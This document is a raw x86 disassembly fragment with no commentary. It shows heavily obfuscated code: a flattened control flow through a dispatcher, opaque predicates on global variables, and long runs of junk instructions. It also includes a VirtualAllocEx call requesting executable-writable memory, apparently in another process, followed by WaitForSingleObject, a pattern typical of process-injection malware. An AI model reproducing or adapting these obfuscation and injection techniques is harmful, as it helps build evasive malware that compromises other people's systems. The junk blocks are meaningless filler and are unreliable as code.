mov dword [ebp - 0xd0], eax
mov eax, 0x708ee8d9
jmp 0x401a00
mov eax, 0xc9570cb9
jmp 0x401a00
mov eax, dword [0x4a3f84]
mov edi, dword [ebp - 0x74]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
or edx, 1
mov eax, ecx
and eax, 1
mov esi, edx
not esi
and edx, 0xf1fd2fb4
or eax, esi
mov esi, ecx
not esi
and ecx, 0x3c75ab2f
and eax, 0xe02d04b
and esi, 0xc38a54d0
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0xc049
xor eax, 0xf1fd2fb4
mov esi, eax
and esi, 0xdfef3f82
and edx, 0x2010c07d
or edx, esi
mov esi, ecx
xor esi, 0x2010802d
xor ecx, 0xc38a54d0
or eax, ecx
and ecx, 0xdfef3f82
and esi, 0x2010c07d
or esi, ecx
mov ecx, dword [ebp - 0x80]
not eax
add ecx, dword [edi + 4]
xor esi, edx
or eax, esi
mov esi, 0xdc3a93b1
mov dword [ebp - 0x80], ecx
mov ecx, eax
not ecx
and eax, 0x316db59a
and ecx, 0xce924a65
or eax, ecx
xor eax, 0x316db59a
setne ah
sete ch
cmp dword [0x4a3f80], 0xa
setge al
setl dl
mov dh, al
and ah, dl
and al, ch
or dl, ch
or al, ah
inc dh
xor al, 1
mov cl, dh
mov ah, al
or al, dl
xor cl, ch
xor ah, dl
xor al, 1
mov ebx, ecx
and cl, dh
or al, ah
and bl, ch
mov edx, eax
mov ah, al
mov dh, bl
xor bl, cl
xor cl, 1
xor dl, 1
xor dh, 1
and ah, dl
or cl, dh
xor ah, 1
xor cl, 1
or ah, dl
or cl, bl
xor ah, 1
or dl, cl
or ah, al
xor dl, 1
mov ch, ah
xor ah, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ah, ch
mov ecx, 0x305c3b0b
mov al, dl
xor al, ah
test al, 1
cmovne esi, ecx
test dl, 1
mov edx, 0xdc3a93b1
cmovne edx, esi
test ah, 1
mov eax, dword [ebp - 0x58]
cmove edx, esi
mov dword [ebp - 0x17c], eax
mov eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x7b14ca96
jmp 0x401a00
mov eax, 0xf4ae2a11
jmp 0x401a00
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [eax]
mov eax, 0x551d55fd
mov ecx, 0x51f241c8
cmove eax, ecx
jmp 0x401a00
mov eax, 0x4d508e19
jmp 0x401a00
push 0x40
push 0x3000
push dword [ebp - 0xc8]
push 0
push dword [ebp - 0xcc]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, dword [0x4a3f84]
mov esi, 0xd4a4280
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete ah
setne cl
cmp dword [0x4a3f80], 0xa
mov ch, ah
setge dl
setl al
or ch, dl
xor dl, ah
or cl, al
or al, ah
mov ah, dl
xor ch, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0xb04b3983
xor al, cl
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0xb04b3983
cmovne eax, edx
jmp 0x40d865
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6100a100
and ecx, 0x16580025
or edx, ecx
mov ecx, eax
xor ecx, 0x7758a125
xor edx, 0x6100a100
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x474aaad7
and edx, 0xb8b55528
or ecx, edx
mov edx, ecx
xor edx, 0x30120bf3
xor ecx, 0xcfedf40c
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0xe87ae9d4
not edx
or edx, ecx
xor edx, 0xffffffff
sete ch
setne ah
cmp dword [0x4a3f80], 0xa
setge dl
setl al
mov cl, dl
or dl, ch
xor cl, ah
or ah, al
xor dl, 1
or al, ch
xor ah, 1
xor al, 1
or dl, ah
or al, cl
mov ch, dl
mov dh, dl
mov cl, al
xor ch, 1
xor cl, 1
mov ah, ch
or ch, al
and ah, dl
xor ah, 1
xor dh, ah
or ah, dl
xor ah, 1
or ah, dh
mov edx, 0x9010f86e
and cl, ah
xor ah, 1
and ah, al
mov al, ch
or ah, cl
xor al, ah
test al, 1
cmovne edx, esi
test ch, ch
mov ecx, 0x9010f86e
cmovne ecx, edx
test ah, 1
cmove ecx, edx
mov eax, ecx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x295193b2
and eax, 0xd6ae6c4d
or esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0xd6ae6c4d
xor esi, 0xf88da937
xor edx, 0x295193b2
and esi, ecx
mov ebx, edx
and ebx, 0x22008018
and edx, 0xa0c5d0a4
mov eax, esi
not eax
and esi, 0x22d89898
mov edi, eax
and edi, 0xdd276767
or esi, edi
mov edi, ecx
or edi, 0xd1dc3a85
or eax, edi
and edi, 0xdd276767
or ebx, edi
not eax
xor ebx, esi
or eax, ebx
mov esi, eax
not esi
and eax, 0x741ec2ea
and esi, 0x8be13d15
or eax, esi
mov esi, ecx
and esi, 0x5f3a2f5b
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x20c28022
xor eax, 0x5a3d0791
xor esi, 0xa0c5d0a5
and edx, 0x38ce8133
or ecx, esi
mov esi, eax
and esi, 0xc7317ecc
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xc7317ecc
and esi, 0x38ce8133
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0xd54442e9
mov ecx, eax
not ecx
and eax, 0xffa7aa88
and ecx, 0x585577
or eax, ecx
xor eax, 0xffa7aa88
sete ch
setne ah
cmp dword [0x4a3f80], 0xa
mov dh, ch
setl dl
setge al
mov cl, dl
or dh, al
and al, ch
or cl, ah
and ah, dl
or dl, ch
xor dh, 1
or al, ah
xor cl, 1
xor al, 1
or cl, dh
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9b8122a6
cmovne eax, esi
test dl, 1
mov edx, 0x9b8122a6
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov edx, dword [ebp - 0x50]
mov ecx, edx
xor ecx, 0xbfd0460c
mov eax, edx
and eax, 0x60e835a1
and ecx, edx
not edx
and edx, 0x9f17ca5e
mov esi, ecx
not esi
and ecx, 0xfc983d4a
or eax, edx
mov edx, eax
xor eax, 0x9f10420c
xor edx, 0x20800400
mov edi, eax
or edi, 0x2780b1
or eax, esi
and esi, 0x367c2b5
and edx, 0xbc900408
and edi, 0x367c2b5
or ecx, esi
not eax
or edx, edi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x402fb9f3
and eax, 0xbfd0460c
or eax, ecx
mov ecx, eax
xor ecx, 3
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffc
and eax, 3
or eax, edx
or eax, ecx
cmp eax, 0xffffffff
mov eax, dword [0x4a3f84]
setne byte [ebp - 0x65]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xd59e12d3
and edx, 0x2a61ed2c
mov esi, ecx
not esi
and ecx, 0xa7470ecf
or eax, edx
mov edx, eax
xor edx, 0x850602c3
xor eax, 0x2a61ed2c
mov edi, eax
or eax, esi
and esi, 0x58b8f130
and edi, 0x58b8f130
and edx, 0xa7470ecf
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdef469b3
mov edi, ecx
or edi, 0x2fee8830
mov esi, ecx
and esi, 0x2fee8830
mov edx, edi
not edx
and edi, 0xd01177ce
or edx, esi
mov esi, ecx
and esi, 0x210b964c
and ecx, 1
or esi, eax
and edx, 0x2fee8831
mov eax, esi
xor eax, 0x8a44120
xor esi, 0x200a9008
or edx, edi
or ecx, eax
mov eax, edx
and esi, 0xf65ab89a
not eax
and edx, 0xce24492a
and ecx, 0x9a54765
or ecx, esi
mov esi, eax
and esi, 0x31dbb6d5
or edx, esi
mov esi, ecx
xor esi, 0x8244120
xor ecx, 0xf65ab89a
or eax, ecx
and ecx, 0x31dbb6d5
and esi, 0xce24492a
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x43bbf768
and edx, 0xbc440897
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbc440897
or eax, esi
and esi, 0x43bbf768
or ecx, esi
not eax
mov esi, 0x135e1b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x68378a98
mov edx, ecx
and edx, 0x97c87567
or eax, edx
xor eax, 0x97c87567
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
and ah, ch
xor dl, 1
mov cl, ah
mov ch, dl
xor cl, 1
and ch, ah
xor dl, cl
and cl, al
or al, ah
xor al, 1
or cl, ch
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x76d2757b
cmovne edx, esi
test al, 1
mov eax, 0x76d2757b
jmp 0x40db30
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xf8]
mov dword [eax], ecx
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xbcd811b4
and eax, 0x66ef443d
mov esi, edx
and esi, 0x4327ee4b
and edx, 0x9910bbc2
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x4327ee4a
xor eax, 0x66ef443d
and esi, 0xbcd811b5
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2c74d2d3
and esi, 0xd38b2d2c
or ecx, esi
mov esi, 0xed0e5e83
xor ecx, 0x2c74d2d3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa5b0229
and ecx, 0xf5a4fdd6
or eax, ecx
xor eax, 0xa5b0229
setne al
sete ah
cmp dword [0x4a3f80], 0xa
mov ch, al
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7b45e9ff
cmovne ecx, esi
test al, 1
mov esi, 0x7b45e9ff
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401a00
mov eax, 0xca9dd3e5
jmp 0x401a00
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1a0], eax
mov eax, 0xad3aa834
jmp 0x401a00
mov eax, 0xac478742
jmp 0x401a00
mov eax, dword [ebp - 0x4c]
mov eax, 0x6454223e
jmp 0x401a00
mov eax, dword [ebp - 0x34]
add eax, 0x34
mov dword [ebp - 0x144], eax
mov eax, 0xd98a4d41
jmp 0x401a00
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x7c]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
mov dword [ebp - 0x48], 0x458000
mov dword [ebp - 0xdc], ecx
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov eax, 0xcaa24a1b
jmp 0x401a00
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x80]
add eax, dword [ecx + 4]
mov dword [ebp - 0x80], eax
mov eax, 0x24231e06
jmp 0x401a00
mov eax, dword [0x4a3f84]
mov edi, 0xfa533cdb
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
or esi, 1
not edx
mov eax, edx
or eax, 0xd3ef6752
and esi, 0xd3ef6753
and edx, 0x2c1098ac
or edx, esi
and eax, 0xd3ef6753
mov esi, 0x4fdd01b3
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4a3f80], 0xa
setge al
setl ch
mov edx, eax
and ch, cl
xor dl, ah
xor dl, 1
or dl, al
and al, ah
or al, ch
xor dl, 1
mov ecx, 0xfa533cdb
xor al, dl
mov ah, al
cmovne ecx, esi
not ah
test ah, dl
cmove ecx, edi
cmovne ecx, esi
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov eax, 0x65dfce56
jmp 0x401a00
mov eax, 0x1add2c0e
jmp 0x401a00
mov eax, dword [ebp - 0x78]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and edx, 0xc7
or eax, 0x48
bswap ebx
mov ebx, 0xd6
imul edi
imul eax
sbb esi, 0x17
or eax, 0x36
or ebx, 0x3e
bswap esi
mov esi, 0xea
dec edx
bswap edi
sub esi, 0x93
bswap esi
add edx, 0xf
not ebx
and eax, 0xe
imul esi
sub eax, 0x62
neg ebx
dec edi
inc edx
dec edi
rol esi, 0xd8
rcl edx, 0x42
rcr esi, 0xf7
ror ebx, 0xae
rol edi, 0xba
not ebx
not eax
imul edi
dec eax
imul ebx
inc eax
imul eax
inc ebx
and eax, 0x28
ror edi, 0x90
and edx, 0x44
bswap edi
rcl ebx, 0xbc
sbb edi, 0x5f
not eax
dec edi
bswap edx
inc edi
rcr ebx, 0x86
bswap edi
sbb eax, 0xa2
imul eax
neg edi
add esi, 0xbd
imul eax
neg edx
inc eax
neg esi
neg esi
ror edi, 0x4b
add ebx, 0x3e
neg edi
not ebx
rcr ebx, 0xc3
neg edx
bswap edx
rcl esi, 0xa4
not edx
not esi
mov esi, 0xe3
not edx
dec esi
not esi
inc esi
sbb ebx, 0x3f
rcr edi, 0x94
sub esi, 0x54
dec eax
mov edx, 0x6b
ror ebx, 0xc
inc ebx
or eax, 0xc0
rcr eax, 0x9d
and eax, 0x69
not eax
and esi, 0xf0
neg esi
sbb eax, 0xe3
rcr ebx, 6
not edx
dec esi
mov edi, 0x5f
rcl esi, 0xed
rcr eax, 0x86
add edx, 0x85
rcr edi, 0xe7
inc edx
sbb edi, 0x2e
sbb eax, 0xbf
or esi, 0x58
neg esi
ror ebx, 3
neg esi
sub eax, 0x29
not esi
sbb edi, 0xc4
ror edx, 0xf5
inc edi
neg esi
bswap edi
neg ebx
or esi, 0xf1
neg edi
dec esi
add ebx, 0x14
dec esi
imul esi
bswap eax
dec edx
sbb edi, 0x63
add esi, 0x60
dec esi
inc eax
bswap eax
rcl edi, 0x90
not esi
dec ebx
ror esi, 0x76
add esi, 0xbd
not ebx
rol eax, 0x10
and ebx, 0xc
dec ebx
neg edi
bswap eax
neg eax
bswap edx
dec edx
not eax
sub edx, 0xce
dec eax
sub esi, 0x5c
rcr ebx, 0xb5
neg esi
dec eax
inc edx
rcl eax, 0x1f
sub edi, 0xb0
not esi
mov edx, 0xa8
rol ebx, 0x7e
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [0x4a3f84]
mov esi, 0xf27d6ca5
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 1
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x24c000c0
and ecx, 0xda28e83b
or edx, ecx
mov ecx, eax
and ecx, 0x1171704
xor edx, 0x24c000c0
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xbe0718bf
and edx, 0x41f8e740
or ecx, edx
mov edx, ecx
xor edx, 0x40eff045
xor ecx, 0xbf100fba
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete dl
cmp dword [0x4a3f80], 0xa
mov ah, dl
setge cl
setl al
or ah, al
xor al, dl
xor dl, cl
and cl, dl
and al, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov ch, cl
mov dl, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0xc701d299
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, dl
mov edx, 0xc701d299
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x40
mov eax, 0x540701c1
jmp 0x401a00
cmp byte [ebp - 0x64], 0
mov eax, 0x3011b05b
mov ecx, 0x1daf719e
cmovne eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x953489d8
jmp 0x401a00
mov ecx, dword [0x4a3f84]
mov edi, 0x88a8dcb0
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x8160121e
mov esi, edx
and ecx, 0x9b05a21f
and esi, 0x64fa5de0
or esi, ecx
mov ecx, edx
or ecx, 0x9b05a21e
and edx, 0x7e9fede1
and ecx, 0x9b05a21f
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x8160121e
xor eax, 0x7e9fede1
mov esi, 0xd4a4280
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x4a3f80], 0xa
mov ch, al
setl cl
setge ah
and ch, ah
and cl, dl
xor al, ah
or cl, ch
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
or cl, ah
and ah, dl
mov edx, 0x88a8dcb0
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x6f491d03
mov edx, eax
mov edi, eax
or edx, 0xf6fdb018
and esi, 0xf6fdb019
and edi, 0x9024fe6
and eax, 0x90b6e2fc
or edi, esi
and edx, 0xf6fdb019
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x90b6e2fc
mov edi, esi
and edi, 0x6f491d03
or edx, edi
mov edi, 0x931b81a2
xor eax, edx
not eax
or eax, esi
mov esi, 0x5fbc4a24
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor al, 1
xor ah, dl
and ah, ch
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0x931b81a2
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x5194bdd3
mov ecx, eax
and ecx, 0x4194a042
and edx, eax
not eax
and eax, 0x10001d91
or ecx, eax
xor ecx, 0x4194a042
or edx, ecx
mov eax, edx
not eax
and edx, 0x2cb22437
and eax, 0xd34ddbc8
or edx, eax
mov ecx, edx
xor ecx, 0x7d2699e4
xor edx, 0x82d9661b
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x29436f0
or esi, edx
mov edx, eax
and edx, 0xfd6bc90f
or ecx, edx
mov edx, esi
not edx
and esi, 0x29436f0
or eax, edx
and edx, 0xfd6bc90f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xf7b6d7
and eax, 0xff084928
or ecx, eax
mov eax, ecx
xor eax, 0xe51407
xor ecx, 0xff084928
mov esi, ecx
and esi, 0xe51aeaf0
and eax, 0x1ae5150f
or eax, esi
mov esi, edx
not esi
and edx, 0x1ae5150f
or ecx, esi
and esi, 0xe51aeaf0
or edx, esi
not ecx
mov esi, 0x36b6991
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x691aa6e6
and eax, 0x96e55919
or eax, ecx
xor eax, 0x96e55919
sete al
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
or ah, cl
and dl, al
mov bl, ah
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
xor dl, cl
xor bl, dl
test ah, ah
mov eax, 0x8d76ea3e
cmovne eax, esi
test dl, 1
mov edx, 0x8d76ea3e
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, 0x9f476a89
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xcb3e00fe
not eax
mov esi, eax
and edx, ecx
and esi, 0xcb3e00fe
and ecx, 0x6ef827b2
and eax, 0x9107d84d
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x8fe357a
and esi, 0xf701ca85
or edx, esi
mov esi, edx
xor esi, 0x81001005
xor edx, 0x3c3fca7a
mov edi, edx
and edi, 0x6ef827b2
and esi, 0x9107d84d
or esi, edi
xor eax, esi
mov esi, 0xb42dfd4c
xor edx, eax
test edx, eax
sete dl
cmp dword [0x4a3f80], 0xa
setl cl
mov eax, ecx
xor cl, dl
or al, dl
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
and ah, dl
mov edx, eax
or cl, ah
xor dl, cl
test dl, 1
mov edx, 0x22535af9
cmovne edx, esi
test al, 1
mov eax, 0x22535af9
jmp 0x40db30
sub eax, 0x63
rcr edx, 5
add edi, 0xd3
rcr edi, 0x9c
not edx
bswap ebx
and edi, 0x2e
rol edx, 0x6e
inc eax
rol esi, 0x14
rol edx, 0x8e
rol edx, 0x88
or eax, 0x8c
neg edx
mov edx, 0x57
add edi, 0x18
imul esi
neg esi
and edx, 0xde
neg edi
mov edi, 0xf9
not ebx
not ebx
inc ebx
add ebx, 0x67
rcr eax, 0x40
not ebx
dec eax
sub edi, 0x50
inc edi
inc eax
imul esi
neg esi
rol eax, 0x2e
ror edi, 0xde
not esi
or ebx, 0xa6
neg esi
or eax, 0xd8
dec esi
dec esi
rol edi, 0x6e
or edi, 0xc8
or ebx, 0xf2
rol ebx, 0x29
inc esi
or edi, 9
rcl ebx, 0x47
inc edx
dec edi
bswap edi
neg ebx
sub esi, 0xe9
sbb ebx, 0x18
ror edx, 0xe8
imul edi
sub edx, 0x79
and edi, 0xab
rcr edx, 7
sub esi, 0xa3
sbb edx, 0xfb
imul edi
not edx
dec eax
dec edx
add edi, 0xda
neg esi
imul edi
mov ebx, 0x17
mov ebx, 0xa7
bswap edi
mov edx, 0xdc
rcl edx, 0x29
sub edx, 0x6e
bswap esi
mov ebx, 0x58
imul ebx
bswap edx
neg edi
add eax, 0xb7
inc ebx
inc edi
rcr edx, 0x47
sbb esi, 0xe5
sbb eax, 0x15
sub edx, 0x85
neg esi
neg edi
neg eax
inc ebx
imul edi
not ebx
bswap ebx
inc edi
inc esi
rcl edx, 0x88
not edx
add edi, 0x87
add esi, 0x71
dec edx
inc eax
dec edi
add edi, 0x79
imul edx
imul edi
ror esi, 0x77
inc ebx
sub eax, 0x66
add ebx, 0xdd
imul esi
imul edi
not edx
bswap edx
bswap edx
rcl ebx, 0x8d
neg edx
dec eax
ror edi, 0xa4
add eax, 0x5b
mov eax, 0x42
neg esi
sbb esi, 0xce
dec edx
rcl eax, 0x3c
ror eax, 0xbe
rcr edx, 0x6b
not edx
rol esi, 0x38
or edi, 0x53
imul edx
bswap ebx
not ebx
dec eax
neg esi
sbb edi, 5
mov ebx, 0xb5
rcr esi, 0x68
imul edx
not ebx
inc ebx
rol esi, 0xd6
sub edx, 0x9a
bswap ebx
rcr edi, 0x56
or edi, 0x96
sub edi, 0x16
sbb edi, 0x4e
inc edi
neg edx
inc ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x34]
add eax, 0x28
mov dword [ebp - 0x1bc], eax
mov eax, 0x8bc49b3f
jmp 0x401a00
or edi, 0x9a
imul ebx
sub edx, 0x59
ror eax, 0x25
rcl edx, 0x1c
or edi, 0x11
dec ebx
imul eax
neg esi
dec esi
not ebx
neg edi
neg edx
sbb edx, 0xf1
and edx, 0xab
dec esi
and edx, 0x64
not eax
dec esi
or esi, 0xff
ror edx, 0x99
add edi, 0xff
rcr edi, 0x70
neg ebx
mov ebx, 0xe1
not edi
inc edi
inc edx
bswap edi
or esi, 0xfa
inc edi
rol eax, 0x47
dec edi
or ebx, 0xaf
not eax
rcr esi, 0x83
bswap esi
bswap edi
ror edi, 0xba
mov edx, 0xd1
mov eax, 0xdc
dec eax
rcl ebx, 0x6f
sbb ebx, 0xcb
not edi
not esi
not esi
neg edi
bswap esi
inc edx
inc ebx
dec esi
add esi, 0xdd
rcl edx, 0x8b
mov esi, 0xd0
inc esi
dec esi
and esi, 0x14
not eax
rol ebx, 0x2a
imul eax
inc esi
rol esi, 6
inc ebx
mov edx, 0x8c
neg edi
or edi, 0xac
inc esi
inc ebx
inc ebx
neg ebx
mov ebx, 3
bswap ebx
sbb edi, 0xe8
sub edx, 0x50
mov eax, 0x78
mov edx, 0x10
sub edx, 0x4a
rcl edi, 0xe1
rcl edi, 0xfc
or edi, 0x44
neg esi
ror edx, 0x1a
rcr edi, 0xd4
bswap edx
mov eax, 0x12
mov ebx, 0x43
rcl ebx, 0x27
inc ebx
neg edx
add edi, 0xa3
sbb edx, 0xe3
inc esi
sbb edx, 0xef
imul esi
sbb edi, 0x5a
and edi, 0x84
or esi, 0x63
and edx, 0x99
sub edi, 2
rcr esi, 0x66
bswap edx
neg eax
not esi
ror ebx, 0x76
or eax, 0x5f
or esi, 0x45
bswap edx
rol eax, 0xd3
bswap ebx
neg edx
imul eax
and edi, 0x12
and esi, 0x25
sbb edx, 0xcd
imul esi
imul ebx
rcr edx, 0xa5
neg ebx
bswap esi
inc eax
mov eax, 0xe0
rcr edx, 0x14
or ebx, 0x7e
dec edi
not edx
or ebx, 0x33
bswap edx
imul eax
sub edx, 0xc
imul eax
imul esi
neg edi
not edx
rcl eax, 0x89
not esi
sbb eax, 0xa3
sub eax, 0x23
imul eax
imul eax
and eax, 0xd7
mov edi, 0xec
not eax
add eax, 0x9d
dec edi
ror eax, 0x7f
sbb ebx, 0x56
dec esi
add esi, 0x41
sbb edi, 0x57
rcr ebx, 0x7e
imul edi
neg ebx
rol ebx, 0x41
neg edi
neg eax
not ebx
ror esi, 0xe6
neg esi
imul ebx
not eax
and ebx, 0x40
neg edi
or eax, 0x35
imul esi
imul esi
imul ebx
inc edx
bswap edi
mov edi, 0x9e
dec eax
rcr ebx, 0xe9
or edx, 0x7b
sbb edi, 0x8b
add eax, 0xc3
and eax, 0x48
mov esi, 0x19
sub edi, 0xd7
mov eax, 0x30
imul eax
sbb esi, 0xbb
neg esi
or ebx, 0x56
ror eax, 0x5a
rcl esi, 0x90
neg ebx
add edi, 0x41
bswap esi
neg ebx
sub eax, 0x9c
not ebx
sbb edx, 0x91
sub edx, 0xc1
neg edi
rcl edi, 0x24
imul eax
rcr esi, 0x8c
imul ebx
imul ebx
imul edi
rol ebx, 0xa6
not esi
inc esi
add eax, 0xff
mov esi, 0xbd
inc edx
not edx
sbb ebx, 0x25
rol esi, 0x60
dec esi
not edx
rol esi, 0xdb
imul edi
and eax, 0x93
neg esi
neg eax
imul edx
add esi, 0xc2
and eax, 0x84
rcr edi, 0xcd
neg esi
dec eax
not edi
inc esi
ror edi, 0xad
sbb edi, 0x54
dec ebx
neg edi
ror edi, 0x8b
and ebx, 0x93
inc ebx
bswap edi
imul edx
sbb edx, 0xe3
dec esi
bswap edx
dec eax
neg edi
not edx
inc ebx
and ebx, 0x42
or edx, 0xf4
sub edi, 0x88
neg edx
neg edx
sub esi, 0xeb
inc edx
rcr edx, 0x36
inc edx
inc edi
not esi
mov edx, 0x74
rol edi, 0xcd
sbb ebx, 0x4c
dec eax
add ebx, 0x64
dec edi
sbb edi, 0xcc
add eax, 0x44
dec eax
add edx, 0xe3
sub ebx, 0xb2
sub edi, 0x63
or edx, 0x7d
inc edi
inc eax
not edx
rcl eax, 0xb9
inc ebx
bswap edi
inc eax
sub edx, 0x2b
bswap eax
rcr edx, 0xc
inc eax
